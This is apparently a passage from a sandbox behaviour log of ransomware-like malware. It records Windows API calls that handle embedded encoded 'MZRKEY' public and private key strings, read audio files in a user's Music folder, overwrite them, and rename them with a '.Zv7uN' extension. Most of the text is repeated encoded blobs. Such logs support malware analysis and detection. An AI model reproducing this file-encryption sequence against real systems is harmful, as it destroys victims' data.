K3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.767] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0085.767] GetCurrentThreadId () returned 0xa30 [0085.768] GetCurrentThreadId () returned 0xa30 [0085.768] GetCurrentThreadId () returned 0xa30 [0085.768] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.768] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.768] GetCurrentThreadId () returned 0xa30 [0085.768] GetCurrentThreadId () returned 0xa30 [0085.768] GetCurrentThreadId () returned 0xa30 [0085.768] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\gzqltNzvsbx7WwV5opFx.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gzqltnzvsbx7wwv5opfx.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0085.769] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0085.769] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0085.769] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x135f8 [0085.769] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0085.769] ReadFile (in: hFile=0x124, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x135f8, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f96c*=0x135f8, lpOverlapped=0x0) returned 1 [0085.772] CloseHandle (hObject=0x124) returned 1 [0085.773] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\gzqltNzvsbx7WwV5opFx.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gzqltnzvsbx7wwv5opfx.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0085.777] WriteFile (in: hFile=0x124, lpBuffer=0x1f04040*, nNumberOfBytesToWrite=0x135f8, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f04040*, lpNumberOfBytesWritten=0x18f978*=0x135f8, lpOverlapped=0x0) returned 1 [0085.781] CloseHandle (hObject=0x124) returned 1 [0085.785] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\gzqltNzvsbx7WwV5opFx.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gzqltnzvsbx7wwv5opfx.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\gzqltNzvsbx7WwV5opFx.m4a.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gzqltnzvsbx7wwv5opfx.m4a.zv7un")) returned 1 [0085.786] GetCurrentThreadId () returned 0xa30 [0085.786] GetCurrentThreadId () returned 0xa30 [0085.786] GetCurrentThreadId () returned 0xa30 [0085.786] GetCurrentThreadId () returned 0xa30 [0085.786] GetCurrentThreadId () returned 0xa30 [0085.786] GetCurrentThreadId () returned 0xa30 [0085.786] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1864ead0, ftCreationTime.dwHighDateTime=0x1d5e704, ftLastAccessTime.dwLowDateTime=0xcc323dc0, ftLastAccessTime.dwHighDateTime=0x1d5e604, ftLastWriteTime.dwLowDateTime=0xcc323dc0, ftLastWriteTime.dwHighDateTime=0x1d5e604, nFileSizeHigh=0x0, nFileSizeLow=0x8a79, dwReserved0=0x430e0820, dwReserved1=0xba1113e9, cFileName="NoHfM0yp-zG8Qrlkv.m4a", cAlternateFileName="NOHFM0~1.M4A")) returned 1 [0085.786] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0085.787] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0085.787] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NoHfM0yp-zG8Qrlkv.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nohfm0yp-zg8qrlkv.m4a"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1864ead0, ftCreationTime.dwHighDateTime=0x1d5e704, ftLastAccessTime.dwLowDateTime=0xcc323dc0, ftLastAccessTime.dwHighDateTime=0x1d5e604, ftLastWriteTime.dwLowDateTime=0xcc323dc0, ftLastWriteTime.dwHighDateTime=0x1d5e604, nFileSizeHigh=0x0, nFileSizeLow=0x8a79)) returned 1 [0085.787] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NoHfM0yp-zG8Qrlkv.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nohfm0yp-zg8qrlkv.m4a")) returned 0x20 [0085.787] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NoHfM0yp-zG8Qrlkv.m4a", dwFileAttributes=0x80) returned 1 [0085.789] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.789] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8Ke